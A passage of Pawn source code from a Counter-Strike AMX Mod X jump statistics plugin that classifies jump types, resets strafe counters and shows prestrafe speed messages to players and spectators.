					maxspeed[id]	= speed[id];
				}
				
				if( (movetype[id] == MOVETYPE_FLY) &&  button&IN_JUMP )
				{
					jump_type[id]=Type_ladderBhop;
					formatex(Jtype[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE_LDBJ");
					formatex(Jtype1[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE1_LDBJ");
					ladderjump[id]=false;
					in_air[id]=false;
					in_ladder[id]=false;
					bhopaem[id]=false;
					notjump[id]=true;
					dropbhop[id]=false;		
				}
				
				if( movetype[id] != MOVETYPE_FLY && ladderjump[id]==true)
				{
					if(touch_ent[id])
					{
						JumpReset(id,103);
					}
					notjump[id]=true;
					dropbhop[id]=false;
					pev(id, pev_origin, origin);
					jumpoff_origin[id] = origin;
					jumpoff_origin[id][2]=ladderxyz[nashladder][2]+35.031250;
					
					jumpoff_time[id] = get_gametime( );
					strafecounter_oldbuttons[id] = INFO_ZERO;
					
					jump_type[id]=Type_ladder;
					laddertime[id]=get_gametime();
			
					formatex(Jtype[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE_LDJ");
					formatex(Jtype1[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE1_LDJ");
					
					if(laddersize[nashladder][0]<=laddersize[nashladder][1])
					{
						laddist[id]=laddersize[nashladder][0]+0.03125;
					}
					else if(laddersize[nashladder][0]>laddersize[nashladder][1])
					{
						laddist[id]=laddersize[nashladder][1]+0.03125;
					}
					
					if(laddist[id]>10)
					{
						laddist[id]=4.0;
					}
					ladderjump[id]=false;	
					TempSpeed[id] = 0.0;
					static i;
					for( i = INFO_ZERO; i < NSTRAFES; i++ )
					{
						strafe_stat_speed[id][i][0] = 0.0;
						strafe_stat_speed[id][i][1] = 0.0;
						strafe_stat_sync[id][i][0] = INFO_ZERO;
						strafe_stat_sync[id][i][1] = INFO_ZERO;
						strafe_stat_time[id][i] = 0.0;
						strafe_lost_frame[id][i] = 0;
						
					}
					in_air[id]	= true;
					in_ladder[id]=true;
					g_Jumped[id]	= true;
					first_frame[id] = true;
					
					turning_right[id] = false;
					turning_left[id] = false;
					
					for( i = INFO_ZERO; i < 2; i++ )
					{
						frame_origin[id][i][0] = 0.0;
						frame_origin[id][i][1] = 0.0;
						frame_origin[id][i][2] = 0.0;
						
						frame_velocity[id][i][0] = 0.0;
						frame_velocity[id][i][1] = 0.0;
						frame_velocity[id][i][2] = 0.0;
					}
					for( i = INFO_ONE; i < max_players; i++ )
					{
						if( (i == id || is_spec_user[i]))
						{
							if(showpre[id]==true && uq_ladder==1 )
							{
								set_hudmessage(prest_r,prest_g, prest_b, prest_x, prest_y, 0, 0.0, 1.0, 0.1, 0.1, h_prest);
								show_hudmessage(i, "%L",LANG_SERVER,"UQSTATS_PRE31",prestrafe[id]);
							}
						}
					}
				}
				
				
				if((button & IN_JUMP && flags & FL_ONGROUND) || in_ladder[id])
				{
					x_jump[id]=true;
					if(is_user_ducking(id))
					{
						x_heightland_origin[id]=origin[2]+18;
					}
					else x_heightland_origin[id]=origin[2];
				}
				
				if((x_jump[id]==true || in_ladder[id]) && button & IN_DUCK && !(oldbuttons &IN_DUCK) && flags & FL_ONGROUND )
				{
					if(x_jump[id])
					{
						x_jump[id]=false;
						
						new Float:heightland_origin;
						if(is_user_ducking(id))
						{
							heightland_origin=origin[2]+18;
						}
						else heightland_origin=origin[2];
						if(heightland_origin-x_heightland_origin[id]>0 && !in_ladder[id])
						{
							JumpReset(id,45);
							
							UpcjFail[id]=true;
								
							return FMRES_IGNORED;
						}
						
						if(bhopaem[id] && !ddforcjafterbhop[id])
						{
							ddforcjafterbhop[id]=true;
						}
						else ddforcjafterbhop[id]=false;
						
						if(in_ladder[id] && !ddforcjafterladder[id])
						{
							ddforcjafterladder[id]=true;
						}
						else ddforcjafterladder[id]=false;
						
						ddforcj[id]=true;
					}
					
				}
				
				if(cjjump[id]==false && (button & IN_DUCK || oldbuttons & IN_DUCK) && (jump_type[id] == Type_Drop_CountJump || ddforcj[id] || ddafterJump[id] || jump_type[id]==Type_CountJump || jump_type[id]==Type_Multi_CountJump || jump_type[id]==Type_Double_CountJump))
				{
					if(origin[2]-duckstartz[id]<-1.21 && origin[2]-duckstartz[id]>-2.0)
					{
						if(ddstandcj[id])
						{
							nextbhop[id]=false;
							bhopaem[id]=false;
						}
						if(jump_typeOld[id]==1)
						{
							multiscj[id]=0;	
						}
						else if(jump_typeOld[id]==2)
						{
							multiscj[id]=1;	
						}
						else if(jump_typeOld[id]==3)
						{
							multiscj[id]=2;	
						}
						jump_type[id] = Type_StandUp_CountJump;
												
						formatex(Jtype[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE_SCJ");
						formatex(Jtype1[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE1_SCJ");
							
						FallTime[id]=get_gametime();
					}
				}
				if( button & IN_DUCK && !(oldbuttons &IN_DUCK) && flags & FL_ONGROUND)
				{
					nextbhop[id]=false;
					bhopaem[id]=false;
					doubleduck[id]=true;
					
					sync_doubleduck[id]=true;
					
					doubletime[id]=get_gametime();
					FallTime1[id]=get_gametime();
					ddnum[id]++;
				}
				if(sync_doubleduck[id] && g_Jumped[id])
				{
					sync_doubleduck[id]=false;
					doubleduck_stat_sync[id][0]=0;
					doubleduck_stat_sync[id][1]=0;
				}
				if(flags & FL_ONGROUND)
				{
					if(duckstartz[id]-origin[2]<18.0 && doubleduck[id]==true && (get_gametime()-doubletime[id]>0.4) && ddbeforwj[id]==false && (jump_type[id]==Type_CountJump || jump_type[id]==Type_Multi_CountJump || jump_type[id]==Type_Double_CountJump))
					{
						JumpReset(id,2);
						doubleduck[id]=false;
					}	
				}
				pev(id, pev_origin, origin);
				
				if(slide_protec[id]==false && button & IN_JUMP && !( oldbuttons & IN_JUMP ) && flags & FL_ONGROUND && bhopaem[id]==false && UpcjFail[id]==false)
				{	
					bhop_num[id]=0;
					notjump[id]=false;
					if(ddforcj[id]==true)
					{
						if(jump_type[id] == Type_StandUp_CountJump)
						{
							ddstandcj[id]=true;
						}
							
						ddforcj[id]=false;
							
						if(jump_type[id] != Type_StandUp_CountJump && (jump_type[id]!=Type_Drop_CountJump || ddforcjafterladder[id]))
						{
							if(ddnum[id]==1)
							{
								jump_type[id]=Type_CountJump;
								CjafterJump[id]=1;
							}
							else if(ddnum[id]==2)
							{
								jump_type[id] = Type_Double_CountJump ;
								CjafterJump[id]=2;
							}
							else if(ddnum[id]>=3)
							{
								jump_type[id] = Type_Multi_CountJump;
								CjafterJump[id]=3;
							}
							
							ddnum[id]=0;
							nextbhop[id]=false;
							bhopaem[id]=false;
						}
					}
					
					oldjump_height[id]=0.0;
					jheight[id]=0.0;
					
					if(nextbhop[id] && ddafterJump[id]==false)
					{
						FullJumpFrames[id]=0;
						direct_for_strafe[id]=0;
						angles_arry[id]=0;
						
						if(uq_istrafe)
						{
							for(new i=0;i<=line_erase_strnum[id];i++)
							{
								for( new j = 0; j <= line_erase[id][i]; j++ )
								{
									line_lost[id][i][j]=0;
									lost_frame_count[id][i]=0;
								}
							}
						}
						
						edgedone[id]=false;
						if(get_gametime()-checkladdertime[id]<0.5)
						{
							ladderbug[id]=true;
						}
						
						if(touch_ent[id])
						{
							JumpReset(id,105);
						}
						ddnum[id]=0;
						
						if(cjjump[id]==true && (get_gametime()-duckoff_time[id])<0.2)
						{
							JumpReset(id,35);
							return FMRES_IGNORED;
							
						}
					
						if(oldbuttons & IN_DUCK && button & IN_DUCK && duckbhop[id]==true && (jump_type[id]==Type_HighJump || jump_type[id]==Type_LongJump || jump_type[id]==Type_None))
						{
							jump_type[id]=Type_DuckBhop;
							formatex(Jtype[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE_DKBJ");
							formatex(Jtype1[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE1_DKBJ");
							duckbhop[id]=false;
						}
						
						bhopaem[id]=true;
						
						pev(id, pev_origin, origin);
						static bool:ducking;
						ducking = is_user_ducking( id ); 
						strafecounter_oldbuttons[id] = INFO_ZERO;
					
						strafe_num[id] = 0;
						TempSpeed[id] = 0.0;
						in_bhop[id] = true;
						pre_jumpoff_origin[id] = jumpoff_origin[id];
						jumpoff_foot_height[id] = ducking ? origin[2] - 18.0 : origin[2] - 36.0; //todo:think about this gavno
						
						jumpoff_time[id] = get_gametime( );
						
						new Float:checkbhop;
						
						if(is_user_ducking(id)==true)
						{
							checkbhop=jumpoff_origin[id][2]-origin[2]-18.0;
						}
						else checkbhop=jumpoff_origin[id][2]-origin[2];
						
						if(checkbhop<-1.0)
						{
							if(button & IN_DUCK )
							{
								jump_type[id]=Type_Up_Bhop_In_Duck;
							}
							upbhop_koeff[id]=UpBhop_calc(floatabs(checkbhop));
							upheight[id]=floatabs(checkbhop);
							upBhop[id]=true;
						}
						else if(jump_type[id]!=Type_DuckBhop)
						{
							if(button & IN_DUCK )
							{
								jump_type[id]=Type_Bhop_In_Duck;
							}
						}
						
						jumpoff_origin[id] = origin;
						if(is_user_ducking( id )==true)
						{
							
							jumpoff_origin[id][2] = origin[2]+18.0;
						}
						else jumpoff_origin[id][2] = origin[2];
						
						pev(id, pev_velocity, velocity);
						first_frame[id] = true;
						
						prestrafe[id] = speed[id];
						maxspeed[id] = speed[id];
						
						static i;
						for( i = INFO_ZERO; i < NSTRAFES; i++ )
						{
							strafe_stat_speed[id][i][0] = 0.0;
							strafe_stat_speed[id][i][1] = 0.0;
							strafe_stat_sync[id][i][0] = INFO_ZERO;
							strafe_stat_sync[id][i][1] = INFO_ZERO;
							strafe_stat_time[id][i] = 0.0;
							strafe_lost_frame[id][i] = 0;
						}
						for( i = INFO_ZERO; i < 2; i++ )
						{
							frame_origin[id][i][0] = 0.0;
							frame_origin[id][i][1] = 0.0;
							frame_origin[id][i][2] = 0.0;
							
							frame_velocity[id][i][0] = 0.0;
							frame_velocity[id][i][1] = 0.0;
							frame_velocity[id][i][2] = 0.0;
						}
						in_air[id]	= true;
						g_Jumped[id]	= true;
						turning_right[id] = false;
						turning_left[id] = false;
					}
					else 
					{
						if(get_gametime()-checkladdertime[id]<0.5 && jump_type[id]!=Type_ladderBhop)
						{
							ladderbug[id]=true;
						}
						
						if(touch_ent[id])
						{
							JumpReset(id,106);
						}	
						ddnum[id]=0;
						if(in_ladder[id]==true)
						{
							in_ladder[id]=false;
							
							jump_type[id]=Type_Real_ladder_Bhop;
							
							formatex(Jtype[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE_RLDBJ");
							formatex(Jtype1[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE1_RLDBJ");
							
						}
						
						strafe_num[id]=0;
						
						if(get_gametime()-changetime[id]<0.5)
						{
							JumpReset(id,38);
							return FMRES_IGNORED;
						}
						
						if(task_exists(id+2311))
							remove_task(id+2311);
						
						pev(id, pev_velocity, velocity);
						
						if(jump_type[id]!=Type_ladderBhop)
						{
							if(oldjump_typ1[id]==1)
							{
								jump_type[id]=Type_ladderBhop;
								oldjump_typ1[id]=0;
							}
						}
						
						
						
						jumpoff_origin[id] = origin;
						
						if(is_user_ducking(id))
						{
							jumpoff_origin[id][2] = origin[2]+18.0;
						}
						else jumpoff_origin[id][2] = origin[2];
						
						jumpoff_time[id] = get_gametime( );
						strafecounter_oldbuttons[id] = INFO_ZERO;
						
						pev(id, pev_origin, origin);
						if(is_user_ducking(id))
						{
							dropbjorigin[id][2]=origin[2]+18;
						}
						else dropbjorigin[id][2]=origin[2];
						dropbjorigin[id][0]=origin[0];
						dropbjorigin[id][1]=origin[1];
						pev(id, pev_velocity, velocity);
						secorig[id]=origin;
						
						nextbhop[id]=true;
						
						
						if(dropbhop[id] && jump_type[id] != Type_Drop_CountJump && jump_type[id] != Type_StandUp_CountJump)
						{
							dropbhop[id]=false;
							jump_type[id] = Type_Drop_BhopLongJump; 
						}
						else dropbhop[id]=false;
						
						if(jump_type[id]==Type_CountJump || jump_type[id]==Type_Multi_CountJump || jump_type[id]==Type_Double_CountJump)
						{
							cjjump[id]=true;
						}
						if (!ddstandcj[id] && !CjafterJump[id] && (jump_type[id] == Type_CountJump || jump_type[id] == Type_Multi_CountJump || jump_type[id] == Type_Double_CountJump) && floatabs(duckstartz[id]-jumpoff_origin[id][2])>4.0)
						{
							if(speed[id]<200.0)
							{
								jump_type[id] = Type_LongJump;
								formatex(Jtype[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE_LJ");
								formatex(Jtype1[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE1_LJ");
							}
							else
							{
								jump_type[id] = Type_WeirdLongJump;
																
								formatex(Jtype[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE_WJ");
								formatex(Jtype1[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE1_WJ");
							}
						}
						if(jump_type[id] == Type_Drop_CountJump && multidropcj[id]==0 && (origin[2]-first_duck_z[id])>4)
						{
							JumpReset(id,146);
							return FMRES_IGNORED;
						}
						prestrafe[id]	= speed[id];
						maxspeed[id]	= speed[id];

						new Float:kkk;
						kkk=999.112*Pmaxspeed;
						if(prestrafe[id]<kkk && jump_type[id]!=Type_ladderBhop && jump_type[id] != Type_Drop_BhopLongJump && jump_type[id] != Type_WeirdLongJump && jump_type[id] != Type_CountJump && jump_type[id] != Type_Multi_CountJump && jump_type[id] != Type_Double_CountJump && jump_type[id] != Type_BhopLongJump && jump_type[id] != Type_StandupBhopLongJump && jump_type[id] != Type_Drop_CountJump)
						{
							if(jump_type[id] != Type_Drop_CountJump && jump_type[id] != Type_StandUp_CountJump && jump_type[id] !=Type_Real_ladder_Bhop)
							{
								jump_type[id] = Type_LongJump;
								formatex(Jtype[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE_LJ");
								formatex(Jtype1[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE1_LJ");
								
								if((jumpoff_origin[id][2]-origin[2])==18.0 && oldbuttons & IN_DUCK && button & IN_DUCK && duckbhop[id]==false)
								{
									duckbhop[id]=true;
									//client_print(id,print_chat,"%f",jumpoff_origin[id][2]-origin[2]);
									
									find_sphere_class (id, "func_ladder",100.0, entlist1, 1);
									if(entlist1[0]!=0)
									{
										if(get_gametime()-checkladdertime[id]<0.1 || prestrafe[id]>110)
										{
											ladderbug[id]=true;
										}
										else if(entlist1[0]!=0)
										{
											ladderbug[id]=true;
										}
										find_ladder[id]=true;
									}
								}
								else duckbhop[id]=false;
							}
						}
						
						TempSpeed[id] = 0.0;
						
						static i;
						for( i = INFO_ZERO; i < NSTRAFES; i++ )
						{
							strafe_stat_speed[id][i][0] = 0.0;
							strafe_stat_speed[id][i][1] = 0.0;
							strafe_stat_sync[id][i][0] = INFO_ZERO;
							strafe_stat_sync[id][i][1] = INFO_ZERO;
							strafe_stat_time[id][i] = 0.0;
							strafe_lost_frame[id][i] = 0;
						}
						in_air[id]	= true;
						g_Jumped[id]	= true;
						first_frame[id] = true;
						
						prestrafe[id]	= speed[id];
						maxspeed[id]	= speed[id];
						
						turning_right[id] = false;
						turning_left[id] = false;
						
						for( i = INFO_ZERO; i < 2; i++ )
						{
							frame_origin[id][i][0] = 0.0;
							frame_origin[id][i][1] = 0.0;
							frame_origin[id][i][2] = 0.0;
							
							frame_velocity[id][i][0] = 0.0;
							frame_velocity[id][i][1] = 0.0;
							frame_velocity[id][i][2] = 0.0;
						}
						
						if(jump_type[id]==Type_LongJump && prestrafe[id]>kkk)
						{
							jump_type[id] = Type_WeirdLongJump;
							
							formatex(Jtype[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE_WJ");
							formatex(Jtype1[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE1_WJ");
						}
						
						
						if ((doubleduck_stat_sync[id][0]+doubleduck_stat_sync[id][1]) > 0)
						{
							dd_sync[id] =(doubleduck_stat_sync[id][0] * 100)/(doubleduck_stat_sync[id][0]+doubleduck_stat_sync[id][1]);
							
							if(dd_sync[id]<96)
								dd_sync[id] =5+dd_sync[id]; 
						}				
						else
						{
							dd_sync[id] = 0;
						}
						
						for( i = INFO_ONE; i < max_players; i++ )
						{
							if( (i == id || is_spec_user[i]))
							{
								if((Pmaxspeed * 1.2)>prestrafe[id])
								{	
									if(prestrafe[id]>min_prestrafe[id])
									{
										if(jump_type[id] == Type_Double_CountJump && showpre[id]==true && uq_dcj==1)
										{
											if(CjafterJump[id]==2)
											{
												set_hudmessage(prest_r,prest_g, prest_b, prest_x, prest_y, 0, 0.0, 0.7, 0.1, 0.1, h_prest);
												
												if(ddforcjafterbhop[id])
													show_hudmessage(i, "%L",LANG_SERVER,"UQSTATS_PRE1",prestrafe[id]);	
												else if(ddforcjafterladder[id])
													show_hudmessage(i, "%L",LANG_SERVER,"UQSTATS_PRE2",prestrafe[id]);
												else
													show_hudmessage(i, "%L",LANG_SERVER,"UQSTATS_PRE3",prestrafe[id]);	
											}
											else
											{
												set_hudmessage(prest_r,prest_g, prest_b, prest_x, prest_y, 0, 0.0, 0.7, 0.1, 0.1, h_prest);
												show_hudmessage(i, "%L",LANG_SERVER,"UQSTATS_PRE4",prestrafe[id]);
											}
										}
										else if(jump_type[id] == Type_CountJump && showpre[id]==true && uq_cj==1)
										{
											if(CjafterJump[id]==1)
											{
												set_hudmessage(prest_r,prest_g, prest_b, prest_x, prest_y, 0, 0.0, 0.7, 0.1, 0.1, h_prest);
												
												if(ddforcjafterbhop[id])
													show_hudmessage(i, "%L",LANG_SERVER,"UQSTATS_PRE5",prestrafe[id]);	
												else if(ddforcjafterladder[id])
													show_hudmessage(i, "%L",LANG_SERVER,"UQSTATS_PRE6",prestrafe[id]);
												else
													show_hudmessage(i, "%L",LANG_SERVER,"UQSTATS_PRE7",prestrafe[id]);
											}
											else
											{
												set_hudmessage(prest_r,prest_g, prest_b, prest_x, prest_y, 0, 0.0, 0.7, 0.1, 0.1, h_prest);
												show_hudmessage(i, "%L",LANG_SERVER,"UQSTATS_PRE8",prestrafe[id]);
											}
										}
										else if(jump_type[id] == Type_Multi_CountJump  && showpre[id]==true  && uq_mcj==1)
										{
											if(CjafterJump[id]==3)
											{
												set_hudmessage(prest_r,prest_g, prest_b, prest_x, prest_y, 0, 0.0, 0.7, 0.1, 0.1, h_prest);
												
												if(ddforcjafterbhop[id])
													show_hudmessage(i, "%L",LANG_SERVER,"UQSTATS_PRE9",prestrafe[id]);	
												else if(ddforcjafterladder[id])
													show_hudmessage(i, "%L",LANG_SERVER,"UQSTATS_PRE10",prestrafe[id]);
												else
													show_hudmessage(i, "%L",LANG_SERVER,"UQSTATS_PRE11",prestrafe[id]);	
											}
											else
											{
												set_hudmessage(prest_r,prest_g, prest_b, prest_x, prest_y, 0, 0.0, 0.7, 0.1, 0.1, h_prest);
												show_hudmessage(i, "%L",LANG_SERVER,"UQSTATS_PRE12",prestrafe[id]);
											}
										}
										else if(jump_type[id] == Type_LongJump && showpre[id]==true && ljpre[id]==true && uq_lj==1)
										{
											set_hudmessage(prest_r,prest_g, prest_b, prest_x, prest_y, 0, 0.0, 0.7, 0.1, 0.1, h_prest);
											show_hudmessage(i, "%L",LANG_SERVER,"UQSTATS_PRE13",prestrafe[id]);
										}
										else if(jump_type[id] == Type_WeirdLongJump && showpre[id]==true && ddbeforwj[id]==true  && uq_wj==1)
										{
											set_hudmessage(prest_r,prest_g, prest_b, prest_x, prest_y, 0, 0.0, 0.7, 0.1, 0.1, h_prest);
											show_hudmessage(i, "%L",LANG_SERVER,"UQSTATS_PRE14",prestrafe[id]);
										}
										else if(jump_type[id] == Type_WeirdLongJump && showpre[id]==true && ddbeforwj[id]==false && uq_wj==1)
										{
											set_hudmessage(prest_r,prest_g, prest_b, prest_x, prest_y, 0, 0.0, 0.7, 0.1, 0.1, h_prest);
											show_hudmessage(i, "%L",LANG_SERVER,"UQSTATS_PRE15",prestrafe[id]);
										}
										else if((jump_type[id] == Type_Drop_BhopLongJump)&& showpre[id]==true && uq_drbj==1 )
										{
											set_hudmessage(prest_r,prest_g, prest_b, prest_x, prest_y, 0, 0.0, 0.7, 0.1, 0.1, h_prest);
											show_hudmessage(i, "%L",LANG_SERVER,"UQSTATS_PRE16",prestrafe[id]);
										}
										else if((jump_type[id] == Type_ladderBhop)&& showpre[id]==true && uq_ldbj==1 )
										{
											set_hudmessage(prest_r,prest_g, prest_b, prest_x, prest_y, 0, 0.0, 0.7, 0.1, 0.1, h_prest);
											show_hudmessage(i, "%L",LANG_SERVER,"UQSTATS_PRE17",prestrafe[id]);
										}
										else if((jump_type[id]==Type_Drop_CountJump)&& showpre[id]==true)
										{
											if(multidropcj[id]==0 && uq_drcj==1)
											{
												set_hudmessage(prest_r,prest_g, prest_b, prest_x, prest_y, 0, 0.0, 0.7, 0.1, 0.1, h_prest);
												show_hudmessage(i, "%L",LANG_SERVER,"UQSTATS_PRE18",prestrafe[id]);
											}
											else if(multidropcj[id]==1 && uq_dropdcj==1)
											{
												set_hudmessage(prest_r,prest_g, prest_b, prest_x, prest_y, 0, 0.0, 0.7, 0.1, 0.1, h_prest);
												show_hudmessage(i, "%L",LANG_SERVER,"UQSTATS_PRE19",prestrafe[id]);
											}
											else if(multidropcj[id]==2 && uq_dropmcj==1)
											{
												set_hudmessage(prest_r,prest_g, prest_b, prest_x, prest_y, 0, 0.0, 0.7, 0.1, 0.1, h_prest);
												show_hudmessage(i, "%L",LANG_SERVER,"UQSTATS_PRE20",prestrafe[id]);
											}
										}
										else if((jump_type[id]==Type_StandUp_CountJump) && showpre[id]==true && uq_drsbj==1)
										{
											if(dropaem[id])
											{
												if(multiscj[id]==0 && uq_dropscj==1)
												{
													set_hudmessage(prest_r,prest_g, prest_b, prest_x, prest_y, 0, 0.0, 0.7, 0.1, 0.1, h_prest);
													show_hudmessage(i, "%L",LANG_SERVER,"UQSTATS_PRE21",prestrafe[id]);
												}
												else if(multiscj[id]==1 && uq_dropdscj==1)
												{
													set_hudmessage(prest_r,prest_g, prest_b, prest_x, prest_y, 0, 0.0, 0.7, 0.1, 0.1, h_prest);
													show_hudmessage(i, "%L",LANG_SERVER,"UQSTATS_PRE22",prestrafe[id]);
												}
												else if(multiscj[id]==2 && uq_dropmscj==1)
												{
													set_hudmessage(prest_r,prest_g, prest_b, prest_x, prest_y, 0, 0.0, 0.7, 0.1, 0.1, h_prest);
													show_hudmessage(i, "%L",LANG_SERVER,"UQSTATS_PRE23",prestrafe[id]);
												}
											}
											else if(ddstandcj[id])
											{
												if(multiscj[id]==0)
												{
													set_hudmessage(prest_r,prest_g, prest_b, prest_x, prest_y, 0, 0.0, 0.7, 0.1, 0.1, h_prest);
													show_hudmessage(i, "%L",LANG_SERVER,"UQSTATS_PRE24",prestrafe[id]);
												}
												else if(multiscj[id]==1)
												{
													set_hudmessage(prest_r,prest_g, prest_b, prest_x, prest_y, 0, 0.0, 0.7, 0.1, 0.1, h_prest);
													show_hudmessage(i, "%L",LANG_SERVER,"UQSTATS_PRE25",prestrafe[id]);
												}
												else if(multiscj[id]==2)
												{
													set_hudmessage(prest_r,prest_g, prest_b, prest_x, prest_y, 0, 0.0, 0.7, 0.1, 0.1, h_prest);
													show_hudmessage(i, "%L",LANG_SERVER,"UQSTATS_PRE26",prestrafe[id]);
												}
											}
											else
											{
												if(multiscj[id]==0 && uq_drsbj==1)
												{
													set_hudmessage(prest_r,prest_g, prest_b, prest_x, prest_y, 0, 0.0, 0.7, 0.1, 0.1, h_prest);
													show_hudmessage(i, "%L",LANG_SERVER,"UQSTATS_PRE27",prestrafe[id]);
												}
												else if(multiscj[id]==1 && uq_dscj==1)
												{
													set_hudmessage(prest_r,prest_g, prest_b, prest_x, prest_y, 0, 0.0, 0.7, 0.1, 0.1, h_prest);
													show_hudmessage(i, "%L",LANG_SERVER,"UQSTATS_PRE28",prestrafe[id]);
												}
												else if(multiscj[id]==2 && uq_mscj==1)
												{
													set_hudmessage(prest_r,prest_g, prest_b, prest_x, prest_y, 0, 0.0, 0.7, 0.1, 0.1, h_prest);
													show_hudmessage(i, "%L",LANG_SERVER,"UQSTATS_PRE29",prestrafe[id]);
												}
											}
										}
										else if((jump_type[id]==Type_Real_ladder_Bhop) && showpre[id]==true && uq_realldbhop==1)
										{
											set_hudmessage(prest_r,prest_g, prest_b, prest_x, prest_y, 0, 0.0, 0.7, 0.1, 0.1, h_prest);
											show_hudmessage(i, "%L",LANG_SERVER,"UQSTATS_PRE30",prestrafe[id]);
										}
									}
								}
								else if(showpre[id]==true)
								{
									set_hudmessage(prest_r,prest_g, prest_b, prest_x, prest_y, 0, 0.0, 1.5, 0.1, 0.1, h_prest);
									show_hudmessage(i, "%L",LANG_SERVER,"UQSTATS_PREHIGH",prestrafe[id],Pmaxspeed * 1.2);
								}
							}
						}
					}
				}
				else if(slide_protec[id]==false && ddafterJump[id]==false && UpcjFail[id]==false && bhopaem[id]==true && button & IN_JUMP && !( oldbuttons & IN_JUMP ) && flags & FL_ONGROUND)
				{
					if(touch_ent[id])
					{
						JumpReset(id,106);
					}
					ddnum[id]=0;
					if(ddforcj[id]==true)
					{
						ddforcj[id]=false;
						JumpReset(id,46);
						return FMRES_IGNORED;
					}
					pev(id, pev_origin, origin);
					static bool:ducking;
					ducking = is_user_ducking( id );
					strafecounter_oldbuttons[id] = INFO_ZERO;
				
					strafe_num[id] = 0;
					TempSpeed[id] = 0.0;
					
					pre_jumpoff_origin[id] = jumpoff_origin[id];
					jumpoff_foot_height[id] = ducking ? origin[2] - 18.0 : origin[2] - 36.0;
					
					jumpoff_time[id] = get_gametime( );
					
					jumpoff_origin[id] = origin;
					if(is_user_ducking( id )==true)
					{
						jumpoff_origin[id][2] = origin[2]+18.0;
					}
					else jumpoff_origin[id][2] = origin[2];
					pev(id, pev_velocity, velocity);
					
					first_frame[id] = true;
					
					prestrafe[id] = speed[id];
					maxspeed[id] = speed[id];
					
					static i;
					for( i = INFO_ZERO; i < NSTRAFES; i++ )
					{
						strafe_stat_speed[id][i][0] = 0.0;
						strafe_stat_speed[id][i][1] = 0.0;
						strafe_stat_sync[id][i][0] = INFO_ZERO;
						strafe_stat_sync[id][i][1] = INFO_ZERO;
						strafe_stat_time[id][i] = 0.0;
						strafe_lost_frame[id][i] = 0;
					}
					for( i = INFO_ZERO; i < 2; i++ )
					{
						frame_origin[id][i][0] = 0.0;
						frame_origin[id][i][1] = 0.0;
						frame_origin[id][i][2] = 0.0;
						
						frame_velocity[id][i][0] = 0.0;
						frame_velocity[id][i][1] = 0.0;
						frame_velocity[id][i][2] = 0.0;
					}
					in_air[id]	= true;
					g_Jumped[id]	= true;
					turning_right[id] = false;
					turning_left[id] = false;
					jump_type[id]=Type_Multi_Bhop;
					formatex(Jtype[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE_MBJ");
					formatex(Jtype1[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE1_MBJ");
				
					bhop_num[id]++;
					for( new i = INFO_ONE; i < max_players; i++ )
					{
						if( (i == id || is_spec_user[i]))
						{	
							if(showpre[i]==true && multibhoppre[id] && speed[id]>50.0)
							{
								if((Pmaxspeed * 1.2)>speed[id] && (uq_bj==1 || uq_sbj==1))
								{
									set_hudmessage(prest_r,prest_g, prest_b, prest_x, prest_y, 0, 0.0, 0.7, 0.1, 0.1, h_prest);
									show_hudmessage(i, "%L",LANG_SERVER,"UQSTATS_MBPRE",speed[id]);
								}
								else
								{	if((uq_bj==1 || uq_sbj==1))
									{
										set_hudmessage(prest_r,prest_g, prest_b, prest_x, prest_y, 0, 0.0, 1.5, 0.1, 0.1, h_prest);
										show_hudmessage(i, "%L",LANG_SERVER,"UQSTATS_PREHIGH",prestrafe[id],Pmaxspeed * 1.2);
									}
								}
							}
						}
					}
				}
				else if(slide_protec[id]==false && ddafterJump[id]==false && UpcjFail[id]==false && !(button&IN_JUMP) && oldbuttons&IN_JUMP && flags & FL_ONGROUND && nextbhop[id]==true && cjjump[id]==false && bhopaem[id]==false && jump_type[id]!=Type_Drop_BhopLongJump)	
				{		
					if(touch_ent[id])
					{
						JumpReset(id,109);
					}
					ddnum[id]=0;
					if(ddforcj[id]==true)
					{
						JumpReset(id,46);
						return FMRES_IGNORED;
					}
					bhop_num[id]=0;
			
					if(oldbuttons & IN_DUCK && button & IN_DUCK && duckbhop[id]==true && (jump_type[id]==Type_LongJump || jump_type[id]==Type_None))
					{
						jump_type[id]=Type_DuckBhop;
						formatex(Jtype[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE_DKBJ");
						formatex(Jtype1[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE1_DKBJ");
						duckbhop[id]=false;
					}
					else
					{
						bhopaem[id]=true;
						
						static i;
						for( i = INFO_ONE; i < max_players; i++ )
						{
							if( (i == id || is_spec_user[i]))
							{	
								if(showpre[id]==true && failearly[id]==true && (uq_bj==1 || uq_sbj==1))
								{
									set_hudmessage(255, 0, 109, -1.0, 0.70, 0, 0.0, 0.5, 0.1, 0.1, h_stats);
									show_hudmessage(id, "%L",LANG_SERVER,"UQSTATS_JEARLY");
								}
							}
						}
					}
				}
				else if( ( failed_jump[id] || flags&FL_ONGROUND)&& in_air[id] )
				{	
					if(old_type_dropbj[id]!=Type_Null && jump_type[id]==Type_Drop_BhopLongJump)
					{
						jump_type[id]=old_type_dropbj[id];
						
						formatex(Jtype[id],32,Jtype_old_dropbj[id]);
						formatex(Jtype1[id],32,Jtype_old_dropbj1[id]);
					}
					if(bug_true[id])
					{
						JumpReset(id,322);
						return FMRES_IGNORED;
					}
					if(prestrafe[id]>200 && jump_type[id]==Type_DuckBhop)
					{
						duckbhop_bug_pre[id]=true;
						set_hudmessage(prest_r,prest_g, prest_b, prest_x, prest_y, 0, 0.0, 1.5, 0.1, 0.1, h_prest);
